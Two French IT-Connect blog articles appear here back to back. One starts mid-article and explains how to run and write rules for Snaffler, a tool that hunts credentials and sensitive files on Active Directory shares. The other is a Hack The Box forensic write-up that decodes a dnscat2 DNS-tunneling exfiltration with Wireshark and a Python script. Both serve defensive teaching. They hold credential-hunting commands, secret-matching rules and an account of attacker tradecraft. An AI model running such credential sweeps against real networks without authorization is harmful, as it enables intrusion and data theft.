Cependant, les choix de l'utilisateur et de la position sur le réseau du système utilisé ont ici leur importance et doivent refléter la situation de l'attaquant tel que souhaité dans votre simulation. S'agit-il d'un compte RH, stagiaire ou d'un membre de l'équipe IT ? L'attaquant effectue-t-il sa recherche depuis le réseau Wifi invité, le poste utilisateur de l'accueil ?, etc. À ce titre, plusieurs itérations du même test peuvent être effectuées, en modifiant le compte utilisateur utilisé ou la position réseau du système émettant la recherche. Vous pourrez alors comparer les résultats obtenus.

Depuis un poste intégré au domaine et un compte utilisateur valide sur le domaine, j'utilise Snaffler de la façon suivante :

.\Snaffler.exe -s -v Data

L'option "-s" est utilisée ici pour rediriger la sortie vers le terminal et l'option "-v Data" est utilisée pour définir le niveau de verbosité. "Data" signifie ici que nous n'aurons que des informations à propos des données trouvées, aucune information de debug.

Pas d'authentification, pas de spécification de cible (même si cela est possible via les options). Snaffler va utiliser la session actuelle de l'utilisateur ainsi que les informations du domaine pour se connecter à l'Active Directory et commencer son énumération.

En fonction de votre système d'information, Snaffler peut s'exécuter pendant assez longtemps (j'ai déjà vu des cas où l'analyse prenait plusieurs heures). Cependant, vous devriez avoir des premiers résultats assez rapidement. Ceux-ci s'affichent au fil de l'eau.

Voici un exemple de résultat (cliquez sur l'image pour zoomer) :

A noter que pour une utilisation en live, cette première commande suffit. On peut toutefois stocker la sortie de Snaffler dans un fichier texte, ce qui est notamment intéressant lorsque la sortie produite est volumineuse :

snaffler.exe -s -v Data -o snaffler.log

Snaffler va alors écrire ses résultats dans un fichier dédié, qui pourra être parcouru après coup.

C. Comprendre les résultats de Snaffler

Comme vous pouvez le voir dans la capture ci-dessus, Snaffler peut être assez verbeux dans sa sortie. Lorsque l'on connait la structure de cet affichage, les choses deviennent cependant beaucoup plus simples. Dans un premier temps, on peut voir que Snaffler se connecte à tous les objets Ordinateurs retournés par sa requête LDAP (l'AD et un poste utilisateur dans mon cas) et liste les partages réseau disponibles (Cliquez sur l'image pour zoomer) :

À noter que j'effectue ma démonstration ici avec l'Administrateur du domaine, qui a donc accès à tous les répertoires partagés du domaine. En fonction de votre objectif (trouver absolument une donnée, où qu'elle soit, ou voir à quoi à accès tel profil utilisateur depuis telle position réseau), votre résultat pourra nettement différer.

Suite à cela, Snaffler commence à journaliser des informations à propos des fichiers qu'il trouve intéressant, ainsi que des extraits de ces fichiers (Cliquez sur l'image pour zoomer) :

Chaque ligne commence par le nom de l'utilisateur utilisé pour l'énumération ("[IT-CONNECT\Administrateur@AD01]" :

• La première ligne nous indique qu'une règle de détection a trouvé un fichier intéressant (d'après son nom) : "confCons.xml". Les connaisseurs reconnaitront le nom d'un fichier de configuration de l'outil "mRemoteNG", utilisé pour stocker les connexions (nom, login, mot de passe) des connexions RDP, SSH, etc.
• La seconde ligne est le résultat d'une règle de parsing du contenu d'un fichier et nous donne un extrait d'une donnée de ce même fichier de configuration. C'est souvent le plus intéressant et facile d'accès, car il s'agit de fichier "texte", facile à parser pour Snaffler. Mais, il ne faut pas forcément s'arrêter là.
• La troisième ligne est à nouveau une règle de matching sur un nom de fichier. Snaffler a découvert un fichier de dump mémoire (".DMP"). Le chemin et nom complet du fichier (en violet) nous indique qu'il s'agit d'un dump mémoire du processus LSASS, notamment connu pour y stocker les identifiants et sessions des utilisateurs connectés. La structure du fichier n'étant pas du simple texte, Snaffler nous indique simplement sa présence et c'est à nous d'aller plus loin si l'on juge cela intéressant.

Pour mieux comprendre encore, voici la structure de chaque ligne de sortie Snaffler (cliquez sur l'image pour zoomer) :

La couleur a notamment une importance, elle détermine le niveau de certitude et d'intérêt que Snaffler a sur la présence d'une information recherchée :

• Black : certitude que l'information ou le fichier découvert est sensible
• Red : a de grande chance d'être ou de contenir une information sensible
• Yellow et Green : peut présenter un intérêt, mais une investigation plus poussée est nécessaire

Ces niveaux de catégorisation sont inscrits dans les différentes règles de Snaffler. La découverte d'un champ "password=" dans un fichier sera Red alors que la découverte d'un script PowerShell sera Green. À ce titre, il est possible de filtrer la sortie de Snaffler pour n'afficher, par exemple, que les résultats Red ou Black :

.\Snaffler.exe -s -v Data -b 3

L'option "-b 3" entraine une journalisation de la catégorie Black uniquement (la plus élevée). Je vous recommande cependant de journaliser au moins à partir du niveau Red, qui sont en général pertinents. Pour cela, utilisez l'option "-b 2".

D. Réaliser une recherche locale de données via Snaffler

Nous avons pour le moment utilisé Snaffler dans son mode "par défaut", dans lequel il va lui-même chercher une liste d'hôtes auprès de l'Active Directory. Il est aussi possible de réaliser une exécution uniquement locale de Snaffler, ciblant le système du fichier de l'hôte sur lequel il est déposé, sans communication réseau et avec des chances de détection réduite pour un attaquant :

.\Snaffler.exe -s -v Data -i C:\

Via l'option "-i", on ordonne à Snaffler de ne pas faire de récupération d'hôte et de se fier à notre liste à la place. Cette option peut aussi être utilisée pour spécifier un partage précis sur un système de notre choix :

.\Snaffler.exe -s -v Data -i \\AD01.it-connect.tech\Partage_IT

Enfin, si l'on souhaite que Snaffler effectue une découverte des partages, mais pas des hôtes, on peut lui fournir une liste d'hôte à énumérer avec l'option "-n" :

.\Snaffler.exe -s -v Data -n AD01.it-connect.tech,DESKTOP-VAU6BQO.it-connect.tech

Ces deux dernières options sont intéressantes pour une analyse ciblée sur un serveur ou un partage donné.

V. Utilisation et configuration personnalisée de Snaffler

A. Comprendre le fonctionnement des règles Snaffler

Pour mieux comprendre le fonctionnement de Snaffler, il faut savoir que celui-ci effectue une recherche et catégorisation progressive des fichiers et informations en fonctions des règles fournies. D'abord, il va rechercher les fichiers dans tous les partages, dossiers et sous-dossiers sur lequel il dispose de droits de lecture. Un premier tri est effectué sur ces fichiers :

• En fonction de leurs tailles (pour des raisons de performance)
• En fonction de leurs extensions (.kdbx, .id_rsa, .ppk, etc.)
• En fonction des noms de fichier (web.config)
• En fonction d'un mot présent dans le nom du fichier ("Mes mots de passe 2024.xlsx")

En fonction de ces critères ou d'une combinaison d'entre eux, Snaffler appliquera une décision :

1. Discard : Exclure le fichier de l'analyse (trop gros, fichiers généralement pas intéressants ou difficiles à parser).
2. Keep : Journaliser le fichier (terminal/fichier de log).
3. Relay : passer le fichier à une ou plusieurs règles en vue d'y chercher une donnée spécifique (en fonction du format/type de fichier). Par exemple, si une règle recherchant les extensions ".ps1" trouve un fichier, elle passera ce fichier à un ensemble de règles permettant d'y chercher les mots "password", "net user", etc. grâce à des expressions régulières.

Les règles sont écrites au format TOML et sont assez complexes au premier abord. Il faut notamment bien comprendre le fonctionnement et les capacités de Snaffler pour les mieux les appréhender. Préférez donc utiliser l'outil dans un premier temps avant de vouloir concevoir vos propres règles.

Les règles par défaut de Snaffler, intégrées dans l'exécutable, sont généralement suffisantes pour avoir des résultats pertinents lors d'une première analyse.

Pour dégrossir le sujet et mieux comprendre Snaffler, étudions la règle suivante :

[[ClassifierRules]]
EnumerationScope = "FileEnumeration"
RuleName = "RelayPsByExtension"
MatchAction = "Relay"
RelayTargets = ["KeepPsCredentials",
"KeepCmdCredentials",
"KeepAwsKeysInCode",
"KeepInlinePrivateKey",
"KeepPassOrKeyInCode", "KeepSlackTokensInCode",
"KeepSqlAccountCreation",
"KeepDbConnStringPw"]
Description = "Files with these extensions will be searched for PowerShell related strings."
MatchLocation = "FileExtension"
WordListType = "Exact"
MatchLength = 0
WordList = ["\.psd1",
"\.psm1",
"\.ps1"]
Triage = "Green"

Les noms des différents attributs sont assez explicites et nous avons déjà aperçu des "EnumerationScope" précédemment dans l'article :

• ShareEnumeration : règles portant sur les partages, permettant notamment d'exclure de l'analyse certains partages peu intéressant ("\\PRINT$" "\\IPC$").
• DirectoryEnumeration : règles portant sur les noms des répertoires, permettant également d'en exclure certains.
• FileEnumeration : règles portant sur les noms et extensions des fichiers, permettant d'inclure ou exclure certains d'entre eux de l'analyse, de journaliser les fichiers intéressants et de passer aux règles suivantes les fichiers à parser.
• ContentsEnumeration : règles de parsage de fichier, qui permettent de détecter des patterns précis dans des fichiers ("password=", "client_secret", etc.)
• PostMatch : Règles spécifiques d'exclusion pour exclure certains faux positifs classiques.

Notre règle ci-dessus va donc rechercher les fichiers ayant des extensions précises ("MatchLocation = FileExtension"), comme ".psd1", ".psm1" ou ".ps1". En cas de match, elle va relayer ("MatchAction = Relay") le fichier cible aux règles présentes dans la liste "RelayTargets". Voici, en exemple, l'une des règles cible en question :

[[ClassifierRules]]
EnumerationScope = "ContentsEnumeration"
RuleName = "KeepPsCredentials"
MatchAction = "Snaffle"
Description = "Files with contents matching these regexen are very interesting."
MatchLocation = "FileContentAsString"
WordListType = "Regex"
MatchLength = 0
WordList = [ "-SecureString",
"-AsPlainText",
"\[Net.NetworkCredential\]::new\("]
Triage = "Red"

Cette règle va rechercher dans le contenu du fichier ("MatchLocation = FileContentAsString") les mots "-SecureString", "-AsPlainText", "\[Net.NetworkCredential\]::new\(" et journaliser "MatchAction = Snaffle" en cas de match. Lorsqu'un script PowerShell contient l'instruction "-AsPlainText" ou qu'il fait référence à une SecureString, c'est généralement le signe qu'il y a un mot de passe intégré dans le script.

Les règles par défaut de Snaffler sont mises à jour occasionnellement en fonction des apports de la communauté (voir l'historique des pull requests Github), vous pouvez notamment consulter le contenu des règles sur le Github également : Github - Snaffler/SnafflerRules. N'hésitez pas à les consulter en parallèle de vos premières utilisations pour comprendre précisément comment ces règles sont structurées.

B. Créer une règle Snaffler personnalisée

Ces deux exemples devraient vous fournir les bases nécessaires à la modification des règles existantes et la création de vos propres règles. Nous allons voir dans cette section comment ajouter une règle de recherche dans le contenu des fichiers PowerShell. Dans un premier temps, il est nécessaire de générer une base de fichier de configuration à l'aide de l'option "-z" :

Snaffler.exe -z

Cette option va générer un fichier "default.toml" dans votre répertoire courant, qu'il faudra ensuite spécifier lors du lancement de Snaffler (c'est ce fichier qui contient la limite de taille de fichier au-delà de laquelle Snaffler ne s'intéressera pas à un fichier).

À titre d'exemple, imaginons que nous venons de mettre en place un SI de sauvegarde cloisonné de notre SI principal et totalement décorrélé de notre domaine. Dans la démarche d'un attaquant ayant compromis notre domaine et souhaitant atteindre les sauvegardes avant de déployer son ransomware, celui-ci peut chercher dans notre documentation, scripts et mails la trace d'un éventuel SI de sauvegarde.

Nous ne souhaitons donc pas qu'un attaquant ayant compromis un compte d'un membre du SI puisse découvrir de script contenant le nom de notre serveur de sauvegarde ("SRV-BACKUP01") et par conséquent l'existence de notre SI de sauvegarde. Je vais dans un premier temps ajouter la règle suivante :

[[ClassifierRules]]
EnumerationScope = "ContentsEnumeration"
RuleName = "CUSTOM-KeepPsBackupServer"
MatchAction = "Snaffle"
Description = "File containning our backup server name, should be deleted ASAP."
MatchLocation = "FileContentAsString"
WordListType = "Regex"
MatchLength = 0
WordList = [ "SRV-BACKUP01"]
Triage = "Red"

Celle-ci va rechercher le terme "SRV-BACKUP01" dans tous les fichiers qui lui seront relayés. Ensuite, nous allons reprendre la structure de la règle "RelayPsByExtension" vu précédemment, ajouter quelques extensions et préciser ma nouvelle règle dans la liste des "RelayTargets" :

[[ClassifierRules]]
EnumerationScope = "FileEnumeration"
RuleName = "RelayScriptExtension"
MatchAction = "Relay"
RelayTargets = ["CUSTOM-KeepPsBackupServer"]
Description = "Files with these extensions will be searched for script related strings."
MatchLocation = "FileExtension"
WordListType = "Exact"
MatchLength = 0
WordList = ["\\.psd1",
"\\.psm1",
"\\.ps1",
"\\.bat",
"\\.cmd",
"\\.vbs"]
Triage = "Green"

Si j'exécute Snaffler en spécifiant ma nouvelle configuration, une analyse avec uniquement mes deux règles sera effectuée :

Snaffler.exe -s -v Data -z .\default.toml

Voici un résultat possible :

Ma nouvelle règle "CUSTOM-KeepPsBackupServer" a effectivement permis de trouver un script contenant le nom de mon serveur de sauvegarde, il ne s'agit pas d'une information sensible au regard des règles par défaut de Snaffler, mais dans mon contexte, cette information a intérêt à être remontée.

Attention, cette action va exécuter une analyse avec uniquement vos règles. Celles par défaut ne seront plus utilisées. Si vous souhaitez ajouter vos règles de façon durable dans l'analyse en plus de celles par défaut, il faut ajouter des fichiers ".toml" contenant vos règles dans le dossier "Snaffler/SnaffRules/DefaultRules", puis recompiler le binaire, qui contiendra alors l'ensemble des règles.

VI. Conclusion

Nous avons étudié dans cet article la problématique du stockage des informations sensibles dans les partages de fichiers et de la difficulté de gestion des droits et permissions dans le temps sur ces éléments. Snaffler est à mon sens un outil très intéressant pour compléter les mesures de sécurité habituelles sur ces sujets, puisqu'il permet de faire une analyse complète et concrète des informations visibles par un utilisateur sur les partages.

Il s'agit d'un outil très utilisé dans les phases de recherche, notamment lors des opérations de simulations d'attaques (tests d'intrusion). Dans des opérations réelles, l'attaquant ne va pas utiliser Snaffler car celui-ci est trop bruyant (un même compte utilisateur qui s'authentifie sur toutes les machines du domaine pour lister les partages), mais l'opération restera la même : voir quelles informations sont accessibles par un utilisateur compromis, et trouver des données techniques ou métier.

Enfin, il faut savoir qu'une version "étendue" de Snaffler existe ("UltraSnaffler"), elle permet de chercher des données dans des fichiers plus complexes comme des fichiers ".docx", ".xlsx". Ces possibilités ne sont pas proposées par défaut, car elle nécessite l'inclusion de librairies qui multiplie par 1200% le poids du binaire. Cela reste néanmoins une piste intéressante pour une utilisation et investigation avancée.

N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord !

The post Analysez vos partages de fichiers Active Directory avec Snaffler pour protéger vos données first appeared on IT-Connect.

I. Présentation

Je vous propose dans cet article un writeup du Sherlocks Litter proposé par Hack The Box. Cette investigation nous permettra notamment de manipuler Wireshark pour explorer un cas de protocol tunneling via le DNS : une technique utilisée pour faire communiquer discrètement un système compromis avec le serveur de contrôle distant d'un attaquant.

Les Sherlocks sont des challenges d'investigation numérique/forensic mis à disposition par la plateforme Hack The Box. Dans cet article, nous allons détailler la démarche qui permet de résoudre le Sherlocks Litter, de difficulté "Facile". Cet article sera notamment l'occasion de comprendre comment peut se dérouler concrètement une cyberattaque, et quels sont les modes opératoires des attaquants et des analystes en cybersécurité.

Lien du challenge : Hack The Box - Sherlocks - Litter

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque le Sherlocks en question sera indiqué comme "Retired".

Technologies abordées	Windows, DNS, protocol tunneling
Outils utilisés	Wireshark, python

Retrouvez tous nos articles Hack The Box via ce lien :

• IT-Connect - Articles Hack The Box

II. Découverte de l'archive

Dans le cadre de l'investigation, un contexte et une archive sont mis à disposition :

D'après les éléments de contexte qui nous sont fournis, l'hôte ciblé semble être utilisé pour tout et n'importe quoi et par n'importe qui. Cela ne va certainement pas nous aider à comprendre ce qui est légitime de ce qui ne l'est pas. Également, nous apprenons que des données de l'entreprise y ont été volées.

Nous commençons donc par ouvrir l'archive à sur notre Kali Purple fraîchement installée. À l'intérieur, un fichier Wireshark, un célèbre outil d'analyse réseau :

III. Investigation numérique : le cas Litter

A. Tâche n°1: Identifier le protocole utilisé

• Énoncé - Task 1 : At a glance, what protocol seems to be suspect in this attack?

La première tâche consiste à identifier le protocole qui semble avoir été utilisé pour la réalisation de l'attaque. Wireshark nous permet d'avoir des statistiques intéressantes concernant la volumétrie des protocoles au sein d'un même fichier ".pcap" :

Si l'on cherche les protocoles les plus utilisés, 4 candidats sont intéressants : les protocoles UDP "QUIC IETF" et "DNS", ainsi que les protocoles TCP "TLS" et "HTTP".

Après quelques recherches, je comprends que QUIC IETF est censé être un "nouveau" protocole de transport (comme UDP ou TCP) : QUIC: A UDP-Based Multiplexed and Secure Transport. Intéressant, mais un peu trop obscure pour un challenge "facile". Il semble également complexe d'investiguer sur des échanges chiffrés TLS. Ce qui nous oriente sur deux candidats : HTTP ou DNS.

Si l'on effectue un filtre sur le protocole HTTP avec la fonctionnalité "Conversations" de Wireshark, nous pouvons très rapidement isoler les hôtes avec lesquels des échanges HTTP ont eu lieu :

On peut noter que l'adresse IP avec laquelle le serveur compromis a le plus discuté est "13.107.4.50". Les autres échanges comportent trop peu de paquets pour nous intéresser. Renseignons-nous sur cette adresse IP à l'aide de la commande "whois" :

Notre hôte compromis à interrogé un point d'entrée "/msdownload/" sur une adresse IP appartenant à Microsoft. De toute évidence, il s'agit d'échanges en rapport avec les mises à jour Windows.

Attention : dans la réalité, les attaquants peuvent héberger ou utiliser des services Microsoft/Cloud pour leurs actions malveillantes, ils profitent alors du crédit et de la confiance accordés à ces services/IP/plateformes par les blues team et les solutions de sécurité. Je pense notamment à l'hébergement de service C&C (Command and Control) par Azure ou l'utilisation de machines Azure compromises comme intermédiaires.

Exemple : T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage

Il ne nous reste donc plus que le protocole DNS comme candidat !

B. Tâche n°2 : Identifier l'IP suspecte

• Énoncé - Task 2 : There seems to be a lot of traffic between our host and another, what is the IP address of the suspect host?

Maintenant que nous savons quel protocole a principalement été utilisé (DNS), et bien que ce dernier nous paraisse inoffensif au premier abord, tentons d'identifier quelle est l'adresse IP suspecte. Nous pouvons ici à nouveau utiliser la fonctionnalité "Conversations" de Wireshark après avoir effectué un filtre sur le protocole DNS :

Nous pouvons clairement voir que l'une des adresses IP a beaucoup plus discuté que les autres au travers le protocole DNS. Il est d'ailleurs suspect en soi qu'un tel volume de paquet DNS ait été échangé, il s'agit d'un protocole d'ordinaire plutôt "léger" dans la mesure où seuls quelques éléments textes sont échangés.

L'adresse IP "192.168.157.145" est donc celle de notre suspect.

C. Tâche n°3 : une commande via DNS ?

• Énoncé - Task 3 : What is the first command the attacker sends to the client?

Il est maintenant temps de s'intéresser au contenu de ces échanges DNS. Commençons par isoler les paquets en appliquant un filtre sur ce protocole et l'IP suspecte :

DNS && (ip.addr==192.168.157.144 && ip.addr==192.168.157.145)

Ces échanges paraissent pour le moins inhabituels. Les noms DNS sont la plupart du temps intelligibles, et ils ne sont jamais aussi long. Ici, ils semblent être constitués uniquement des alphabets suivants avec aucun mot intelligible à part "microsofto365.com" :

• 1-9
• a-f

Voilà qui nous rappelle quelque chose : de l'hexadécimal. Je récupère au hasard une requête TXT et copie le contenu de la requête via la fonction Copy Value de WIreshark (pensez à bien faire un clic droit sur le champ exact à copier dans le paquet ciblé) :

Je tente ensuite de décoder l'hexadécimal à l'aide de l'outil en ligne "CyberChef".

Cyberchef se présente comme "The Cyber Swiss Army Knife", c'est un outil très pratique proposé par le GCHQ (services de renseignement britannique) qui permet d'encoder/décoder ou chiffrer/déchiffrer des données au sein d'une application web intuitive. Cela permet de tenter rapidement tout un tas de format de conversions, d'encodage/decodage ou d'algorithme de chiffrement sur des données sans saisir la moindre ligne de commande : https://gchq.github.io/CyberChef/

Si vous souhaite l'utiliser dans un contexte professionnel, je vous recommande son installation sur un de vos serveurs déconnectés d'internet pour l’investigation : https://github.com/gchq/CyberChef

La conversion "hexadecimal -> ASCII" nous donne donc un bout de texte intelligible !

L'attaquant est parvenu à utiliser le protocole DNS en tant que protocole d’encapsulation en vue d'envoyer des commandes au serveur compromis, puis de recevoir en retour le résultat. Cette technique est connue sous le nom de DNS protocol Tunneling et est référencée sur le site du MITRE : T1071.004 - Application Layer Protocol: DNS

Un C2, C&C, ou centre de commandement et de contrôle (en anglais, Command and Control), est un élément crucial dans le contexte des cyberattaques. C'est une infrastructure utilisée par les cybercriminels pour gérer et contrôler des systèmes compromis à distance. Les attaquants utilisent de nombreuses infrastructures, techniques et protocoles pour que les agents déployés sur les systèmes compromis des entreprises communiquent avec leur C2, le MITRE ATT&CK en référence un certain nombre : TA0011 - Command and Control

Il est à noter que, contrairement à ce que l'on pourrait penser, le nom de domaine microsofto365.com n'appartient pas à Microsoft, dans la réalité, personne ne possède ce nom de domaine :

Pour comprendre l'intégralité de l'échange, il faut donc isoler le nom DNS exact dans les requêtes et les réponses des paquets déjà isolés, supprimer les éléments parasites (les "." et le "microsofto365.com"), concaténer le tout puis effectuer une conversation hexadécimal vers ASCII, je ne pense pas parvenir à faire cela avec Wireshark, je suis donc passé par le script Python suivant :

#!/usr/bin/python3
import argparse
from scapy.all import rdpcap, DNSQR, DNSRR

def main(args) -> None:
  f = ""
  last = ""
  for p in rdpcap(args.file):
      if p.haslayer(DNSQR) and not p.haslayer(DNSRR) :
          if "microsofto365" in p[DNSQR].qname.decode('utf-8'):
              qry = p[DNSQR].qname.decode('utf-8').replace(args.domain,"").strip().split(".")


              qryStr = ''.join(qry)[4:]
              if len(qryStr) > 1:
                decoded_string = bytes.fromhex(qryStr).decode('utf-8', errors='replace')

                if (len(decoded_string) > 20) and last != decoded_string:
                  f += decoded_string
                last = decoded_string
  print(f)

if __name__ == '__main__':
  # create the top-level parser
  parser = argparse.ArgumentParser(prog='PROG')
  parser.add_argument("-f", '--file', help='.pcap filepath', required=True)
  parser.add_argument("-d", '--domain', help='top domain to remove (eg. attacker.com)', required=True)
  args = parser.parse_args()
  main(args)

J'ai notamment utilisé "scapy" pour isoler les échanges DNS concernant le nom de domaine "microsofto365.com". Des recherches sur le décodage des échanges "dnscat2" m'ont également renseigné sur le besoin de retirer les 4 premiers octets de chaque échange DNS (Analysis on Popular DNS Tunneling Tools), qui correspond à un marqueur spécifique permettant le suivi des sessions "DNScat" : inutile dans le cadre d'une conversion en texte donc. Suite à l'exécution du script :

python3 dnscat2text.py -f suspicious_traffic.pcap -d microsofto365.com

J'obtiens le résultat suivant :

Le résultat n'est pas parfait, mais nous pouvons tout de même comprendre les échanges et exécution de commande qui on eut lieu. On obtient notamment la première commande exécutée par l'attaquant suite au déploiement de sa backdoor : whoami.

D. Tâche n°4 : dnscat2

• Énoncé - Task 4 : What is the version of the DNS tunneling tool the attacker is using?

Maintenant que nous sommes parvenus à avoir l'échange client-serveur presque en clair, il nous est plus facile de comprendre les opérations réalisées par l'attaquant. Nous pouvons notamment identifier la version de dnscat utilisée dans le nom du binaire déposé par l'attaquant :

Nous savons donc que l'attaquant à utiliser "dnscat2" en version 0.07.

E. Tâche n°5 : un attaquant presque discret

• Énoncé - Task 5 : The attackers attempts to rename the tool they accidentally left on the clients host. What do they name it to?

L'attaquant aurait tenté de renommer son outil une fois déposé sur le système compromis, nous pouvons de nouveau facilement repérer ses tentatives dans les échanges client-serveur "dnscat2" décodés :

L'attaquant a renommé son binaire "dnscat2" en "win_installer.exe".

Le fait de changer le nom d'un outil malveillant avant de le déposer sur un système surveillé par une solution de sécurité (antivirus, EPP, EDR, etc.) correspond au TTP T1036.005 - Masquerading: Match Legitimate Name or Location. Cela vise à contourner les règles de détections basées sur des mots ou des noms caractéristiques d'outils malveillants ou les analyses manuelles. Les attaquants optent souvent pour des noms communs et connus pour tenter de contourner ses règles, par exemple, en renommant leur malware "firefox.exe", "teams.exe", etc. EPP/EDR et humains peuvent facilement se faire berner par ce genre d'opérations.

Il est à noter que changer le nom du binaire après son dépôt sur le système est moins utile en termes de discrétion. En effet, une bonne partie des solutions de sécurité vont analyser celui-ci et lever une alerte dès sa création sur le système et pas seulement lors de son exécution.

Cependant, ce type de renommage peut être utile dans le cadre d'une persistance. En effet, un administrateur effectuant une analyse manuelle des processus en cours d'exécution ne prêtera pas attention à un processus win_installer.exe en cours d'exécution, alors qu'un processus "dns2cat.exe" l'interrogera un peu plus, le poussant à investiguer.

F. Tâche n°6 : Enumeration utilisateur

• Énoncé - Task 6 : The attacker attempts to enumerate the users cloud storage. How many files do they locate in their cloud storage directory?

Il semblerait que l'attaquant ait tenté d'énumérer les fichiers Cloud depuis le système compromis. En effet, nous pouvons voir cette tentative :

Seulement le dossier "OneDrive" parcouru par l'attaquant ne contenait aucun fichier.

G. Tâches n°7 et 8 : fuite d'informations sensibles

• Énoncé - Task 7 : What is the full location of the PII file that was stolen?
• Énoncé - Task 8 : Exactly how many customer PII records were stolen?

Ces deux tâches peuvent être traitées en même temps. Il s'agit de retrouver le nom et le contenu du fichier sensible ayant été dérobé par l'attaquant. Il nous suffit de suivre le flux des échanges clients-serveur décodés jusqu'à trouver ceci :

Nous voyons que l'attaquant a consulté le fichier "C:\users\test\documents\client data optimisation\user details.csv" et que celui-ci contient des informations personnelles :

Ce fichier contient 721 lignes (le premier objet ayant l'identifiant 0), c'est donc le nombre de clients uniques contenu dans le fichier dérobé.

IV. Résumé de l'attaque

Au cours de cette investigation, nous avons découvert que suite une compromission du système "desktop-umncbe7" par un vecteur non connu, l'attaquant a déposé un binaire sur le système, puis a utilisé le protocole DNS pour établir une communication directe entre son C2 et le système compromis. L'attaquant a effectué une brève recherche de fichiers sensibles sur le système et a récupéré les informations personnelles de 721 clients, incluant noms, prénoms, mails, adresses, numéros de téléphone, date de naissance, etc.

Pour aller jusqu'au bout de la démarche, voici les TTP (Tactics, Techniques and Procedures) utilisés :

TTP (MITRE ATT&CK)	Détails
T1583.001 - Acquire Infrastructure: Domains	Acquisition du nom de domaine microsofto365.com
T1583.002 - Acquire Infrastructure: DNS Server	Mise en place d'un serveur DNS via un dnscat2 exposé sur Internet en vue de recevoir et de répondre aux requêtes du système compromis (client)
TA0002 - Execution	Compromission de l'utilisateur test sur le système desktop-umncbe7 par un vecteur non connu
T1608.002 - Stage Capabilities: Upload Tool	Dépôt du binaire dnscat2
T1071.004 - Application Layer Protocol: DNS	Exécution du binaire dnscat2 et établissement d'un canal de communication encapsulé dans le protocole DNS
T1036.005 - Masquerading: Match Legitimate Name or Location	Renommage du binaire dnscat2 en win_installer.exe
T1083 - File and Directory Discovery	Recherche dans le système de fichier du système compromis
T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol	Affichage et exfiltration du fichier "user details.csv" contenant les informations personnelles

V. Notions abordées

Nous allons à présent mettre en avant les principales notions et les apprentissages de cet exercice, aussi bien pour l'attaquant que pour les défenseurs ou l'analyste. Il ne s'agit pas d'un point de vue complet, n'hésitez pas à améliorer ce contenu en donnant votre avis dans les commentaires :).

A. Côté analyste

Côté analyste, connaitre les outils et les méthodes des attaquants pour être discret et passer sous les radars est important. Ici, il est facile pour un analyste de passer à côté des flux DNS. La connaissance et le suivi actif des mises à jour des TTP du MITRE ATT&CK permet aux analystes de rester à jour sur les outils et techniques utilisés par les attaquants.

Il est à noter qu'en conditions réelles, le protocole DNS serait totalement noyé (en volume) par les autres protocoles, ce qui rendrait d'autant plus difficile cette investigation. Il serait peut-être intéressant de disposer d'un outil qui oriente les recherches de l'analyste, au moins sur les techniques connues et fréquemment utilisées et lors d'une analyse de formats connus et standardisés comme les fichiers PCAP. Une des fonctions de cet outil pourrait, par exemple, répondre à la question "est-ce qu'il existe des requêtes DNS portant sur des noms très long ?".

Nous avons également vu que la maitrise de Wireshark est importante et permet de gagner du temps sur les analyses de flux réseau. Notamment via les fonctions de statistique et les filtres.

Disposer d'une boite à outils pour se faciliter la vie est également important et c'est ce qu'apporte, entre autres, l'expérience et la formation. L'outil cyberchef est ici un incontournable, comme les outils capables d'identifier et d'extraire des informations concernant les noms de domaine. Il en va de même pour les méthodologies d'analyse. Je suis, par exemple, passé à côté du fait que le domaine microsofto365.com n'est pas un domaine officiel de Microsoft pendant toute l'analyse, car je n'ai pas fait la requête "whois" concernant ce nom de domaine immédiatement. Cela aurait pu m'induire en erreur (miser sur l'utilisation d'instances Cloud par l'attaquant par exemple).

B. Côté défense

Côté défense, il peut déjà être recommandé d'investiguer de façon plus approfondie sur les raisons de la compromission, élément qui est hors du périmètre de cette analyse.

Également, la mise en place de règles de détections basées sur un volume anormalement élevé de requête DNS ou la taille de noms de domaine peut être recommandé. Il faut savoir qu'un nom DNS a une taille maximale de 255 caractères :

Cependant, dans la réalité, il est très rare de croiser des noms de domaine dépassant 50 ou 60 caractères. J'ai d'ailleurs déjà croisé des solutions de sécurité basées sur l'analyse des flux réseau émettant une alerte de sécurité lorsqu'une requête ou réponse DNS concernant un nom de domaine trop long était identifiée.

La mise en place d'une solution de sécurité capable de détecter les outils malveillants que pourrait déposer un attaquant est également à recommander. Il est, par exemple, aisé de trouver des règles de détection SIGMA (utilisées par les EDR et IDS, entre autres) concernant le binaire ou les commandes PowerShell dnscat2 : Detection.fyi - Dnscat Execution

Il est difficile de proposer des améliorations concernant le nom de domaine utilisé par l'attaquant. Impossible de prévoir toutes les permutations DNS non enregistrées concernant Google, Microsoft ou autres Cloud provider. Si l'entreprise souhaite surveiller ses propres noms de domaine et être informé de l'enregistrement d'un nom de domaine ressemblant au sien par un attaquant, différents outils peuvent être utilisés :

• Protéger son domaine contre le Phishing : techniques basées sur l’OSINT.

C. Côté attaquant

Ici, nous sommes parvenus à décoder les échanges encapsulés dans le protocole DNS, car ceux-ci étaient simplement encodés en hexadécimal. Il faut savoir que dnscat2, l'outil utilisé par l'attaquant, possède une fonction permettant de chiffrer les échanges à l'aide d'une clé fixe avant transmission via le réseau. Il est alors plus complexe pour l'analyste de retrouver le contenu des échanges avec le C2.

Également, il pourrait être intéressant pour l'attaquant de renommer ses binaires malveillants avant dépôt sur le système, cela pour éviter qu'un éventuel antivirus, EPP ou EDR n'émette une alerte basée sur un terme surveillé dans les noms des fichiers ou des commandes.

V. Conclusion

J'espère que cet article vous a plu ! Au-delà de la résolution du challenge, il est toujours intéressant de savoir tirer parti de ces exercices pour s'améliorer et en extraire le maximum d'apprentissage. N'hésitez pas à utiliser les commentaires et le Discord pour partager votre avis !

Enfin, si vous voulez accéder à des cours et des modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points ) : Tester Hack the Box Academy

The post Hack the box – Sherlocks (forensic) : découverte et solution de Litter first appeared on IT-Connect.